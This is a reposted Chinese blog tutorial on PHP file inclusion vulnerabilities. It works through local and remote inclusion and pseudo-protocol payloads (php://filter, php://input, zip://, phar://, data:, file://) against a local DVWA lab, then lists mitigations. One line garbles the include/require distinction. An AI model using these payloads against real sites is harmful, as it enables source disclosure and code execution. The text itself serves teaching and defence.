浅谈文件包含漏洞

2020-02-10 约 127 字 预计阅读 1 分钟

声明:本文 【浅谈文件包含漏洞】 由作者 obse**** 于 2020-02-10 08:44:11 首发 先知社区 曾经 浏览数 197 次

感谢 obse**** 的辛苦付出!

0x01、什么是文件包含?

为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。

0x02、漏洞成因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

0x03、php引发文件包含漏洞的四个函数

include()
include_once()
require()
require_once()

include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行

0x04、文件包含漏洞分类

4.1、本地文件包含漏洞
顾名思义,指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。

示例4.1:
以DVWA的靶场环境为例,靶场地址:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

把DVWA Security的等级调到Low,在DVWA\vulnerabilities\fi\source\Low.php中有以下代码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

在DVWA\vulnerabilities\fi\source\index.php中Low.php又被包含在其中,这就构成了文件包含漏洞,而且被包含的文件还是我们可控的。

在file1同级目录下新建一个名为test.txt的文本文件,内容如下:

<?php
phpinfo();
?>

访问http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.txt

文件包含可以包含任意文件,如图片,文本文件,压缩包等等,如果文件中有服务器能识别的脚本语言,就按照当前脚本语言执行,否则就直接显示出源代码。

4.2、远程文件包含漏洞
是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。
但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置
allow_url_fopen=On
allow_url_include=On

示例4.2:
先打开目标服务器的php.ini文件进行以下相关设置,然后重启服务器

之后在本地新建文件test2.txt,文件内容为:

<?php
phpinfo();
?>

目标服务器ip:192.168.1.114
本机ip:192.168.1.106

访问http://192.168.1.114/DVWA/vulnerabilities/fi/?page=http://192.168.1.106/test2.txt

0x05、文件包含漏洞之伪协议

5.1、php://filter
利用条件:
只是读取,所以只需要开启allow_url_fopen,对allow_url_include不做要求

用法:

index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

通过指定末尾文件,可以读取经base64加密后的文件源码,虽然不能直接获取shell等,但能够读取敏感文件,危害还是是挺大的。

示例5.1:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=test.txt


5.2、php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行

利用条件:
需要开启allow_url_include=on,对allow_url_fopen不做要求

用法:?file=php://input 数据利用POST传过去。

示例5.2:

也可以写入木马

还可以命令执行

5.3、zip://伪协议
zip://可以访问压缩文件中的文件

条件: 使用zip协议,需要将#编码为%23,所以需要PHP 的版本> =5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23。

用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]

示例5.3:
在本地新建一个文件test.php,并且压缩成test.zip压缩包

要是把压缩包的后缀改为其他任意格式的文件也可以正常使用。

5.4、phar://伪协议
与zip://协议类似,但用法不同,zip://伪协议中是用#把压缩文件路径和压缩文件的子文件名隔开,而phar://伪协议中是用/把压缩文件路径和压缩文件的子文件名隔开,即?file=phar://[压缩文件路径]/[压缩文件内的子文件名]

示例5.4:

5.5、data:text/plain

和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同

条件:allow_url_fopen参数与allow_url_include都需开启

用法1:?file=data:text/plain,<?php 执行内容 ?>
用法2:?file=data:text/plain;base64,编码后的php代码

示例5.5:


注:经base64编码后的加号和等号要手动的url编码,以免浏览器识别不了

5.6、file://伪协议
file:// 用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响。
用法:?file=file://文件绝对路径

示例5.6

0x06、修复方案

1、PHP 中使用 open_basedir 配置限制访问在指定的区域
2、过滤.(点)/(反斜杠)\(反斜杠)等特殊字符
3、尽量关闭allow_url_include配置

0x07、总结

关于文件包含的内容,目前小白也就只能总结出这些了,总之收获不菲,感觉很有用。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now